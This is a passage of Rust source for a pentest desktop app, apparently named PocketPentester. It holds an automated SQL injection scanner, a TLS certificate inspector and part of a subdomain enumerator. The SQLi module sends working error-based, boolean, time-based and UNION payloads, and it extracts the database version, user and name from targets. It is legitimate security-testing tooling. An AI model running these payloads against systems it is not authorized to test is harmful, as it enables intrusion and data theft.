if !out.is_empty() { return out; }
}
if let Some(body) = &target.body {
if body.contains('*') && !target.body_is_json {
for pair in body.split('&') {
if let Some((k, v)) = pair.split_once('=') {
if v.contains('*') {
out.push(InjectionPoint {
location: "POST".into(),
name: k.to_string(),
base_value: v.trim_end_matches('*').to_string(),
});
}
}
}
if !out.is_empty() { return out; }
}
}
if let Some(ck) = &target.cookies {
if ck.contains('*') {
for (k, v) in parse_cookies(ck) {
if v.contains('*') {
out.push(InjectionPoint {
location: "Cookie".into(),
name: k,
base_value: v.trim_end_matches('*').to_string(),
});
}
}
if !out.is_empty() { return out; }
}
}
for (k, v) in &target.headers {
if v.contains('*') {
out.push(InjectionPoint {
location: format!("Header:{k}"),
name: k.clone(),
base_value: v.trim_end_matches('*').to_string(),
});
}
}
if !out.is_empty() { return out; }
// No marker: enumerate every parameter
for (k, v) in target.url.query_pairs() {
if want(&k) {
out.push(InjectionPoint { location: "GET".into(), name: k.into_owned(), base_value: v.into_owned() });
}
}
if let Some(body) = &target.body {
if !target.body_is_json {
for pair in body.split('&') {
if let Some((k, v)) = pair.split_once('=') {
if want(k) {
out.push(InjectionPoint { location: "POST".into(), name: k.to_string(), base_value: v.to_string() });
}
}
}
}
}
if let Some(ck) = &target.cookies {
for (k, v) in parse_cookies(ck) {
if want(&k) {
out.push(InjectionPoint { location: "Cookie".into(), name: k, base_value: v });
}
}
}
if req.level >= 2 {
let hdr_points = ["User-Agent", "Referer", "X-Forwarded-For"];
for h in hdr_points {
if target.headers.contains_key(h) && want(h) {
out.push(InjectionPoint {
location: format!("Header:{h}"),
name: h.into(),
base_value: target.headers.get(h).cloned().unwrap_or_default(),
});
} else if req.level >= 3 && want(h) {
// inject even if header wasn't sent originally
out.push(InjectionPoint {
location: format!("Header:{h}"),
name: h.into(),
base_value: String::new(),
});
}
}
}
out
}
async fn send(
client: &reqwest::Client,
target: &Target,
point: &InjectionPoint,
injected_value: &str,
) -> Option<(String, u16, u128)> {
let start = Instant::now();
let method = reqwest::Method::from_bytes(target.method.as_bytes()).unwrap_or(reqwest::Method::GET);
let mut url = target.url.clone();
let mut body = target.body.clone();
let mut cookies = target.cookies.clone();
let mut headers = target.headers.clone();
match point.location.as_str() {
"GET" => {
let pairs: Vec<(String, String)> = url.query_pairs()
.map(|(k, v)| if k == point.name.as_str() { (k.into_owned(), injected_value.to_string()) }
else { (k.into_owned(), v.into_owned()) })
.collect();
url.query_pairs_mut().clear();
for (k, v) in &pairs { url.query_pairs_mut().append_pair(k, v); }
}
"POST" => {
if let Some(b) = &body {
let out: Vec<String> = b.split('&').map(|pair| {
if let Some((k, v)) = pair.split_once('=') {
if k == point.name { format!("{k}={}", urlencoding::encode(injected_value)) }
else { format!("{k}={v}") }
} else { pair.to_string() }
}).collect();
body = Some(out.join("&"));
}
}
"Cookie" => {
if let Some(ck) = &cookies {
let mut pairs = parse_cookies(ck);
for p in &mut pairs {
if p.0 == point.name { p.1 = injected_value.to_string(); }
}
cookies = Some(serialize_cookies(&pairs));
}
}
loc if loc.starts_with("Header:") => {
headers.insert(point.name.clone(), injected_value.to_string());
}
_ => {}
}
let mut builder = client.request(method, url.as_str());
for (k, v) in &headers {
if k.trim().is_empty() { continue; }
builder = builder.header(k.trim(), v);
}
if let Some(ck) = &cookies { builder = builder.header("Cookie", ck); }
if let Some(b) = &body {
if target.body_is_json {
builder = builder.header("Content-Type", "application/json").body(b.clone());
} else {
builder = builder.header("Content-Type", "application/x-www-form-urlencoded").body(b.clone());
}
}
let resp = builder.send().await.ok()?;
let status = resp.status().as_u16();
let text = resp.text().await.unwrap_or_default();
let elapsed = start.elapsed().as_millis();
Some((text, status, elapsed))
}
// --- content similarity -------------------------------------------
fn content_hash(s: &str) -> u64 {
// crude content signature: sorted tokens
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
let mut hasher = DefaultHasher::new();
let mut tokens: Vec<&str> = s.split_whitespace().collect();
tokens.sort_unstable();
tokens.hash(&mut hasher);
hasher.finish()
}
fn similarity(a: &str, b: &str) -> f64 {
if a == b { return 1.0; }
if a.is_empty() && b.is_empty() { return 1.0; }
let al = a.len() as f64;
let bl = b.len() as f64;
let len_sim = al.min(bl) / al.max(bl);
let hash_sim = if content_hash(a) == content_hash(b) { 1.0 } else { 0.0 };
// weighted
0.6 * len_sim + 0.4 * hash_sim
}
// ------------------------------------------------------------------
// Detection techniques
// ------------------------------------------------------------------
async fn heuristic_probe(
client: &reqwest::Client, target: &Target, point: &InjectionPoint,
) -> (bool, Option<&'static str>) {
// Append quote/bracket and look for DBMS error OR significant response change
let probes = ["'", "\"", "\\", "')", "\")"];
for p in probes {
let val = format!("{}{}", point.base_value, p);
if let Some((body, _, _)) = send(client, target, point, &val).await {
if let Some(db) = detect_dbms(&body) { return (true, Some(db)); }
}
}
(false, None)
}
async fn test_error_based(
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
) -> Option<(String, String, String, String, &'static str)> {
// returns (prefix, suffix, payload, evidence, dbms)
let breakers = ["'", "\"", "')", "\")", "`"];
for b in breakers {
for &payload in &["", "AND 1=CAST(@@version AS int)", "AND 1=CONVERT(int, @@version)", "AND extractvalue(1,concat(0x7e,version(),0x7e))"] {
let full = apply_tamper(&format!("{}{}{} -- -", b, if payload.is_empty() {""} else {" "}, payload), tamper);
let val = format!("{}{}", point.base_value, full);
if let Some((body, _, _)) = send(client, target, point, &val).await {
if let Some(db) = detect_dbms(&body) {
return Some((b.to_string(), "-- -".to_string(), payload.to_string(), format!("{db} error triggered"), db));
}
}
}
if level < 2 { break; }
}
None
}
async fn test_boolean_blind(
client: &reqwest::Client, target: &Target, point: &InjectionPoint, baseline: &str, level: u8, tamper: &[String],
) -> Option<(String, String, String, String)> {
let boundaries = boundaries(level);
for (prefix, suffix) in boundaries.iter() {
let t_payload = apply_tamper(&format!("{}{} AND 1=1{}", point.base_value, prefix, suffix), tamper);
let f_payload = apply_tamper(&format!("{}{} AND 1=2{}", point.base_value, prefix, suffix), tamper);
let t_resp = send(client, target, point, &t_payload).await;
let f_resp = send(client, target, point, &f_payload).await;
if let (Some((tb, _, _)), Some((fb, _, _))) = (t_resp, f_resp) {
let sim_t_base = similarity(baseline, &tb);
let sim_f_base = similarity(baseline, &fb);
// TRUE should resemble baseline; FALSE should diverge
if sim_t_base > 0.9 && sim_f_base < 0.8 && (sim_t_base - sim_f_base) > 0.1 {
return Some((
prefix.to_string(),
suffix.to_string(),
"AND 1=1 / AND 1=2".to_string(),
format!("true-sim={:.2} false-sim={:.2} (divergence detected)", sim_t_base, sim_f_base),
));
}
}
}
None
}
async fn test_time_based(
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
) -> Option<(String, String, String, String, &'static str)> {
let cases: &[(&str, &str, u64)] = &[
("MySQL", "AND SLEEP(5)", 5),
("MySQL", "AND (SELECT 1 FROM (SELECT SLEEP(5))a)", 5),
("PostgreSQL", "; SELECT pg_sleep(5)", 5),
("MSSQL", "; WAITFOR DELAY '0:0:5'", 5),
("Oracle", "AND DBMS_PIPE.RECEIVE_MESSAGE('x',5) IS NOT NULL", 5),
("SQLite", "AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))", 5),
];
for (prefix, _suffix) in boundaries(level).iter() {
for (db, payload, sec) in cases.iter() {
let full = apply_tamper(&format!("{}{} {}-- -", point.base_value, prefix, payload), tamper);
if let Some((_, _, elapsed)) = send(client, target, point, &full).await {
let threshold_ms = (sec * 1000 - 500) as u128;
if elapsed >= threshold_ms {
return Some((
prefix.to_string(),
"-- -".to_string(),
payload.to_string(),
format!("response delayed {}ms (payload sleeps {}s)", elapsed, sec),
db,
));
}
}
}
}
None
}
async fn test_union_based(
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>)> {
let marker = format!("xpl{:04}mrk", rand::random::<u16>());
// Step 1: find column count via ORDER BY
let mut cols: usize = 0;
for (prefix, _suffix) in boundaries(level).iter() {
let mut last_ok: usize = 0;
for n in 1..=20 {
let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper);
if let Some((body, _, _)) = send(client, target, point, &full).await {
let err = detect_dbms(&body).is_some()
|| body.to_lowercase().contains("unknown column")
|| body.to_lowercase().contains("order by");
if err { break; } else { last_ok = n; }
} else { break; }
}
if last_ok > 0 {
cols = last_ok;
// Step 2: craft UNION SELECT with NULLs, replace one at a time with marker
for position in 1..=cols {
let mut fields: Vec<String> = (1..=cols).map(|i| if i == position {
format!("'{}'", marker)
} else { "NULL".to_string() }).collect();
let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
point.base_value, prefix, fields.join(",")), tamper);
if let Some((body, _, _)) = send(client, target, point, &full).await {
if body.contains(&marker) {
// injectable column found — try extracting data
let mut extracted: HashMap<String, String> = HashMap::new();
let probes = [
("version", "version()"),
("user", "current_user()"),
("db", "database()"),
];
for (name, expr) in probes {
fields[position - 1] = format!("CONCAT('{m}_',{e},'_{m}')", m=marker, e=expr);
let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
point.base_value, prefix, fields.join(",")), tamper);
if let Some((b, _, _)) = send(client, target, point, &ep).await {
let re = Regex::new(&format!("{}_([^_]+)_{}", marker, marker)).unwrap();
if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) {
extracted.insert(name.into(), c.as_str().to_string());
}
}
fields[position - 1] = format!("'{}'", marker);
}
let dbms: Option<&'static str> = extracted.get("version").and_then(|v| {
let lo = v.to_lowercase();
if lo.contains("mariadb") || lo.contains("mysql") { Some("MySQL") }
else if lo.contains("postgresql") { Some("PostgreSQL") }
else if lo.contains("microsoft sql") { Some("MSSQL") }
else { None }
});
return Some((
prefix.to_string(),
"-- -".to_string(),
format!("UNION SELECT {}", fields.join(",")),
format!("union injection at column {position}/{cols}, marker reflected"),
dbms,
extracted,
));
}
}
}
break;
}
}
let _ = cols;
None
}
// ------------------------------------------------------------------
// Orchestrator
// ------------------------------------------------------------------
#[tauri::command]
pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFinding>, String> {
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
let body_is_json = req.headers.iter().any(|(k, v)|
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
let target = Target {
url,
method: req.method.clone(),
body: req.body.clone(),
body_is_json,
headers: req.headers.clone(),
cookies: req.cookies.clone(),
};
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects {
reqwest::redirect::Policy::limited(5)
} else { reqwest::redirect::Policy::none() })
.cookie_store(false)
.user_agent("Mozilla/5.0 (PocketPentester-SQLi)")
.build()
.map_err(|e| e.to_string())?;
let points = find_injection_points(&req, &target);
if points.is_empty() {
return Err("no injection points detected — supply params, use * marker, or pass params filter".into());
}
let _ = app.emit("sqli:status", format!("{} injection point(s) to test", points.len()));
// baseline with original values
let first = points.first().unwrap();
let baseline = send(&client, &target, first, &first.base_value).await
.map(|(b, _, _)| b).unwrap_or_default();
let _sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let mut findings: Vec<SqliFinding> = Vec::new();
for point in &points {
let _ = app.emit("sqli:status",
format!("→ testing {} [{}] (base={})", point.location, point.name,
if point.base_value.len() > 30 { format!("{}...", &point.base_value[..30]) } else { point.base_value.clone() }));
let mut dbms_hint: Option<&'static str> = None;
// heuristic
if req.techniques.iter().any(|t| t == "heuristic") {
let (flag, db) = heuristic_probe(&client, &target, point).await;
if flag {
dbms_hint = db;
let _ = app.emit("sqli:status", format!(" heuristic positive{}", db.map(|d| format!(" ({d})")).unwrap_or_default()));
} else {
let _ = app.emit("sqli:status", " heuristic negative, continuing anyway");
}
}
// error-based
if req.techniques.iter().any(|t| t == "error") {
if let Some((pre, suf, payload, evidence, db)) =
test_error_based(&client, &target, point, req.level, &req.tamper).await
{
let f = SqliFinding {
param: point.name.clone(), location: point.location.clone(),
technique: "error-based".into(),
dbms: Some(db.to_string()),
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{}{} {}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
if req.stop_on_first { return Ok(findings); }
}
}
// boolean-based
if req.techniques.iter().any(|t| t == "boolean") {
if let Some((pre, suf, payload, evidence)) =
test_boolean_blind(&client, &target, point, &baseline, req.level, &req.tamper).await
{
let f = SqliFinding {
param: point.name.clone(), location: point.location.clone(),
technique: "boolean-blind".into(),
dbms: dbms_hint.map(|s| s.to_string()),
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} AND 1=1{}", point.base_value, pre, suf),
evidence, confidence: "MEDIUM".into(), extracted: HashMap::new(),
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
if req.stop_on_first { return Ok(findings); }
}
}
// union-based
if req.techniques.iter().any(|t| t == "union") {
if let Some((pre, suf, payload, evidence, db, extracted)) =
test_union_based(&client, &target, point, req.level, &req.tamper).await
{
let f = SqliFinding {
param: point.name.clone(), location: point.location.clone(),
technique: "union-based".into(),
dbms: db.map(|s| s.to_string()).or(dbms_hint.map(|s| s.to_string())),
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} {} {}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted,
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
if req.stop_on_first { return Ok(findings); }
}
}
// time-based (expensive, last)
if req.techniques.iter().any(|t| t == "time") && req.risk >= 1 {
if let Some((pre, suf, payload, evidence, db)) =
test_time_based(&client, &target, point, req.level, &req.tamper).await
{
let f = SqliFinding {
param: point.name.clone(), location: point.location.clone(),
technique: "time-blind".into(),
dbms: Some(db.to_string()),
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} {}{}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
if req.stop_on_first { return Ok(findings); }
}
}
}
let _ = app.emit("sqli:done", findings.len());
Ok(findings)
}

View File

@@ -0,0 +1,276 @@
// ===================================================================
// SSL/TLS Scanner — cert chain inspection + negotiation test.
//
// Uses rustls with a capturing verifier to extract peer cert chain
// even when the cert is invalid/expired/self-signed. Parses cert via
// x509-parser for SAN / issuer / validity extraction.
// ===================================================================
use std::net::SocketAddr;
use std::sync::Arc;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
use rustls_pki_types::{CertificateDer, ServerName};
use serde::{Deserialize, Serialize};
use sha2::{Digest, Sha256};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
#[derive(Debug, Clone, Deserialize)]
pub struct SslScanRequest {
pub host: String,
#[serde(default = "default_port")]
pub port: u16,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
}
fn default_port() -> u16 { 443 }
fn default_timeout() -> u64 { 8000 }
#[derive(Debug, Clone, Serialize)]
pub struct SslCertInfo {
pub subject: String,
pub issuer: String,
pub serial: String,
pub not_before: String,
pub not_after: String,
pub days_remaining: i64,
pub sans: Vec<String>,
pub key_algo: String,
pub signature_algo: String,
pub sha256_fingerprint: String,
pub is_ca: bool,
pub self_signed: bool,
pub expired: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct SslScanReport {
pub host: String,
pub port: u16,
pub tls_version: String,
pub cipher_suite: Option<String>,
pub sni_presented: String,
pub cert_chain: Vec<SslCertInfo>,
pub chain_valid: bool,
pub issues: Vec<String>,
pub alpn: Option<String>,
}
// ---- capturing verifier: accept everything, remember the cert chain ----
#[derive(Debug)]
struct CaptureVerifier {
captured: Arc<std::sync::Mutex<Vec<Vec<u8>>>>,
}
impl rustls::client::danger::ServerCertVerifier for CaptureVerifier {
fn verify_server_cert(
&self,
end_entity: &CertificateDer<'_>,
intermediates: &[CertificateDer<'_>],
_server_name: &ServerName<'_>,
_ocsp_response: &[u8],
_now: rustls_pki_types::UnixTime,
) -> Result<rustls::client::danger::ServerCertVerified, rustls::Error> {
let mut guard = self.captured.lock().unwrap();
guard.push(end_entity.as_ref().to_vec());
for it in intermediates { guard.push(it.as_ref().to_vec()); }
Ok(rustls::client::danger::ServerCertVerified::assertion())
}
fn verify_tls12_signature(
&self, _message: &[u8], _cert: &CertificateDer<'_>, _dss: &rustls::DigitallySignedStruct,
) -> Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
Ok(rustls::client::danger::HandshakeSignatureValid::assertion())
}
fn verify_tls13_signature(
&self, _message: &[u8], _cert: &CertificateDer<'_>, _dss: &rustls::DigitallySignedStruct,
) -> Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
Ok(rustls::client::danger::HandshakeSignatureValid::assertion())
}
fn supported_verify_schemes(&self) -> Vec<rustls::SignatureScheme> {
vec![
rustls::SignatureScheme::RSA_PKCS1_SHA256,
rustls::SignatureScheme::RSA_PKCS1_SHA384,
rustls::SignatureScheme::RSA_PKCS1_SHA512,
rustls::SignatureScheme::ECDSA_NISTP256_SHA256,
rustls::SignatureScheme::ECDSA_NISTP384_SHA384,
rustls::SignatureScheme::ECDSA_NISTP521_SHA512,
rustls::SignatureScheme::RSA_PSS_SHA256,
rustls::SignatureScheme::RSA_PSS_SHA384,
rustls::SignatureScheme::RSA_PSS_SHA512,
rustls::SignatureScheme::ED25519,
]
}
}
fn parse_cert(der: &[u8]) -> Result<SslCertInfo, String> {
use x509_parser::prelude::*;
let (_, cert) = X509Certificate::from_der(der).map_err(|e| e.to_string())?;
let subject = cert.subject().to_string();
let issuer = cert.issuer().to_string();
let serial = format!("{:x}", cert.serial);
let not_before = cert.validity.not_before.to_rfc2822().unwrap_or_default();
let not_after = cert.validity.not_after.to_rfc2822().unwrap_or_default();
let now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as i64;
let nb = cert.validity.not_after.timestamp();
let days_remaining = (nb - now) / 86400;
let expired = nb < now;
let mut sans: Vec<String> = Vec::new();
for ext in cert.extensions() {
if let ParsedExtension::SubjectAlternativeName(san) = ext.parsed_extension() {
for n in &san.general_names {
sans.push(format!("{n}"));
}
}
}
let key_algo = cert.public_key().algorithm.algorithm.to_id_string();
let signature_algo = cert.signature_algorithm.algorithm.to_id_string();
let self_signed = subject == issuer;
let is_ca = cert.extensions().iter().any(|e| {
matches!(e.parsed_extension(), ParsedExtension::BasicConstraints(bc) if bc.ca)
});
let mut h = Sha256::new();
h.update(der);
let fp = h.finalize();
let sha256_fingerprint = fp.iter().map(|b| format!("{:02X}", b)).collect::<Vec<_>>().join(":");
Ok(SslCertInfo {
subject, issuer, serial, not_before, not_after, days_remaining,
sans, key_algo: map_key_algo(&key_algo), signature_algo: map_sig_algo(&signature_algo),
sha256_fingerprint, is_ca, self_signed, expired,
})
}
fn map_key_algo(oid: &str) -> String {
match oid {
"1.2.840.113549.1.1.1" => "RSA".into(),
"1.2.840.10045.2.1" => "ECDSA".into(),
"1.3.101.112" => "Ed25519".into(),
other => other.into(),
}
}
fn map_sig_algo(oid: &str) -> String {
match oid {
"1.2.840.113549.1.1.11" => "SHA256-RSA".into(),
"1.2.840.113549.1.1.12" => "SHA384-RSA".into(),
"1.2.840.113549.1.1.13" => "SHA512-RSA".into(),
"1.2.840.113549.1.1.5" => "SHA1-RSA (WEAK)".into(),
"1.2.840.113549.1.1.4" => "MD5-RSA (BROKEN)".into(),
"1.2.840.10045.4.3.2" => "ECDSA-SHA256".into(),
"1.2.840.10045.4.3.3" => "ECDSA-SHA384".into(),
"1.2.840.10045.4.3.4" => "ECDSA-SHA512".into(),
"1.3.101.112" => "Ed25519".into(),
other => other.into(),
}
}
#[tauri::command]
pub async fn ssl_scan(req: SslScanRequest) -> Result<SslScanReport, String> {
let addr_str = format!("{}:{}", req.host, req.port);
let addr: SocketAddr = tokio::net::lookup_host(&addr_str).await
.map_err(|e| format!("dns: {e}"))?
.next()
.ok_or_else(|| "no address resolved".to_string())?;
let captured = Arc::new(std::sync::Mutex::new(Vec::new()));
let verifier = Arc::new(CaptureVerifier { captured: captured.clone() });
// install default crypto provider (ring) for this thread — idempotent
let _ = rustls::crypto::ring::default_provider().install_default();
let config = rustls::ClientConfig::builder()
.dangerous()
.with_custom_certificate_verifier(verifier)
.with_no_client_auth();
let mut config = config;
config.alpn_protocols = vec![b"h2".to_vec(), b"http/1.1".to_vec()];
let connector = TlsConnector::from(Arc::new(config));
let tcp = timeout(Duration::from_millis(req.timeout_ms), TcpStream::connect(addr)).await
.map_err(|_| "tcp connect timeout".to_string())?
.map_err(|e| format!("tcp: {e}"))?;
let server_name: ServerName<'static> = ServerName::try_from(req.host.clone())
.map_err(|e| format!("invalid server name: {e}"))?;
let tls = timeout(Duration::from_millis(req.timeout_ms), connector.connect(server_name, tcp)).await
.map_err(|_| "tls handshake timeout".to_string())?
.map_err(|e| format!("tls handshake: {e}"))?;
let (_, conn) = tls.get_ref();
let version = match conn.protocol_version() {
Some(rustls::ProtocolVersion::TLSv1_3) => "TLS 1.3".into(),
Some(rustls::ProtocolVersion::TLSv1_2) => "TLS 1.2".into(),
Some(v) => format!("{v:?} (WEAK/LEGACY)"),
None => "unknown".into(),
};
let cipher_suite = conn.negotiated_cipher_suite().map(|cs| format!("{:?}", cs.suite()));
let alpn = conn.alpn_protocol().map(|a| String::from_utf8_lossy(a).to_string());
drop(tls);
let certs = captured.lock().unwrap().clone();
if certs.is_empty() {
return Err("no certs captured".into());
}
let mut chain: Vec<SslCertInfo> = Vec::new();
let mut issues: Vec<String> = Vec::new();
for (i, der) in certs.iter().enumerate() {
match parse_cert(der) {
Ok(info) => {
if info.expired && i == 0 { issues.push("leaf certificate is EXPIRED".into()); }
if info.days_remaining < 14 && !info.expired && i == 0 {
issues.push(format!("leaf cert expires in {} days", info.days_remaining));
}
if info.self_signed && i == 0 && chain.is_empty() {
issues.push("leaf is self-signed".into());
}
if info.signature_algo.contains("WEAK") || info.signature_algo.contains("BROKEN") {
issues.push(format!("weak signature algorithm: {}", info.signature_algo));
}
chain.push(info);
}
Err(e) => issues.push(format!("cert[{i}] parse error: {e}")),
}
}
if version.contains("LEGACY") || version.contains("1.0") || version.contains("1.1") {
issues.push(format!("weak TLS version negotiated: {version}"));
}
// SAN must include hostname
if let Some(leaf) = chain.first() {
let host_lc = req.host.to_lowercase();
let match_ok = leaf.sans.iter().any(|s| {
let s_lc = s.to_lowercase();
s_lc.contains(&host_lc) || s_lc.starts_with("dns:*.") && host_lc.ends_with(&s_lc.trim_start_matches("dns:*").to_string())
});
if !match_ok && !leaf.sans.is_empty() {
issues.push(format!("hostname {} not in SANs", req.host));
}
}
Ok(SslScanReport {
host: req.host.clone(),
port: req.port,
tls_version: version,
cipher_suite,
sni_presented: req.host,
cert_chain: chain,
chain_valid: issues.is_empty(),
issues,
alpn,
})
}

View File

@@ -0,0 +1,504 @@
// ===================================================================
// Subdomain enumeration — subfinder-style multi-source aggregator.
//
// Sources (default-on, no API key needed):
// - crt.sh — certificate transparency
// - certspotter — certificate transparency (parallel)
// - hackertarget — passive DNS (rate-limited 50/day per IP)
// - alienvault OTX — passive DNS
// - anubis-db — community subdomain DB
// - rapiddns — HTML scrape
// - wayback (web.archive.org)— historical URLs → extract hosts
// - urlscan — domain search
// - threatcrowd — passive DNS
//
// Key-based sources (opt-in, user supplies API key):
// - c99.nl — fast commercial source
// - virustotal — domain relations
// - securitytrails — premium passive
// - chaos (projectdiscovery)— curated dataset
// - shodan — host search
// - binaryedge — passive DNS
// - fullhunt — attack-surface DB
// ===================================================================
use std::collections::{HashMap, HashSet};
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use hickory_resolver::config::{ResolverConfig, ResolverOpts};
use hickory_resolver::TokioAsyncResolver;
use regex::Regex;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
#[derive(Debug, Clone, Deserialize)]
pub struct SubdomainRequest {
pub domain: String,
/// Source names to enable. If None/empty, all default-on sources run.
/// Available: crtsh, certspotter, hackertarget, alienvault, anubis,
/// rapiddns, wayback, urlscan, threatcrowd, c99, virustotal,
/// securitytrails, chaos, shodan, binaryedge, fullhunt.
#[serde(default)]
pub sources: Option<Vec<String>>,
/// Optional brute-force wordlist (in addition to passive).
#[serde(default)]
pub wordlist: Option<Vec<String>>,
pub concurrency: usize,
/// API keys for key-based sources. Map of source-name → key.
#[serde(default)]
pub api_keys: Option<HashMap<String, String>>,
}
#[derive(Debug, Clone, Serialize)]
pub struct SubdomainHit {
pub host: String,
pub source: String,
pub ips: Vec<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct SourceStat {
pub source: String,
pub count: usize,
pub error: Option<String>,
pub took_ms: u128,
}
// ------------------------------------------------------------------
// HTTP client
// ------------------------------------------------------------------
fn build_client() -> reqwest::Client {
reqwest::Client::builder()
.timeout(Duration::from_secs(25))
.user_agent("Mozilla/5.0 (PocketPentester/0.1)")
.build()
.unwrap_or_else(|_| reqwest::Client::new())
}
fn norm_host(s: &str, root: &str) -> Option<String> {
let h = s.trim()
.trim_start_matches("*.")
.trim_start_matches('.')
.to_lowercase();
let h = h.split_whitespace().next()?.to_string();
if h.is_empty() { return None; }
if !h.ends_with(root) { return None; }
if h.contains('@') { return None; }
if h.starts_with("xn--") && h.len() < 6 { return None; }
Some(h)
}
// ------------------------------------------------------------------
// passive sources (no key)
// ------------------------------------------------------------------
async fn fetch_json(client: &reqwest::Client, url: &str) -> anyhow::Result<serde_json::Value> {
fetch_json_with_headers(client, url, &[]).await
}
async fn fetch_json_with_headers(
client: &reqwest::Client,
url: &str,
headers: &[(&str, &str)],
) -> anyhow::Result<serde_json::Value> {
let mut req = client.get(url);
for (k, v) in headers { req = req.header(*k, *v); }
let resp = req.send().await?;
let status = resp.status();
let body = resp.text().await?;
if !status.is_success() {
anyhow::bail!("HTTP {} (body: {})", status, body.chars().take(120).collect::<String>());
}
if body.trim().is_empty() {
anyhow::bail!("empty response");
}
serde_json::from_str(&body).map_err(|e| anyhow::anyhow!("json parse: {e}"))
}
fn values_from_array<'a>(v: &'a serde_json::Value, key: &str) -> &'a [serde_json::Value] {
v.get(key).and_then(|x| x.as_array()).map(|a| a.as_slice()).unwrap_or(&[])
}
async fn src_crtsh(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://crt.sh/?q=%25.{}&output=json", domain);
let val = fetch_json(client, &url).await?;
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
let mut set = HashSet::new();
for r in arr {
if let Some(nv) = r.get("name_value").and_then(|v| v.as_str()) {
for line in nv.split('\n') {
if let Some(h) = norm_host(line, domain) { set.insert(h); }
}
}
}
Ok(set)
}
async fn src_certspotter(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://api.certspotter.com/v1/issuances?domain={}&include_subdomains=true&expand=dns_names", domain);
let val = fetch_json(client, &url).await?;
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
let mut set = HashSet::new();
for r in arr {
for n in values_from_array(r, "dns_names") {
if let Some(s) = n.as_str() {
if let Some(h) = norm_host(s, domain) { set.insert(h); }
}
}
}
Ok(set)
}
async fn src_hackertarget(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://api.hackertarget.com/hostsearch/?q={}", domain);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if !status.is_success() { anyhow::bail!("HTTP {status}"); }
if body.contains("API count exceeded") || body.contains("error check your search parameter") {
anyhow::bail!("rate limited");
}
let mut set = HashSet::new();
for line in body.lines() {
if let Some((host, _)) = line.split_once(',') {
if let Some(h) = norm_host(host, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_alienvault(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://otx.alienvault.com/api/v1/indicators/domain/{}/passive_dns", domain);
let val = fetch_json(client, &url).await?;
let mut set = HashSet::new();
for entry in values_from_array(&val, "passive_dns") {
if let Some(host) = entry.get("hostname").and_then(|v| v.as_str()) {
if let Some(h) = norm_host(host, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_anubis(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://jonlu.ca/anubis/subdomains/{}", domain);
let val = fetch_json(client, &url).await?;
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
let mut set = HashSet::new();
for s in arr {
if let Some(host) = s.as_str() {
if let Some(h) = norm_host(host, domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_rapiddns(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://rapiddns.io/subdomain/{}?full=1", domain);
let resp = client.get(&url).send().await?;
let status = resp.status();
let html = resp.text().await?;
if !status.is_success() { anyhow::bail!("HTTP {status}"); }
let re = Regex::new(r#"<td>([a-zA-Z0-9_.\-]+\.[a-zA-Z]{2,})</td>"#)?;
let mut set = HashSet::new();
for cap in re.captures_iter(&html) {
if let Some(m) = cap.get(1) {
if let Some(h) = norm_host(m.as_str(), domain) { set.insert(h); }
}
}
Ok(set)
}
async fn src_wayback(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
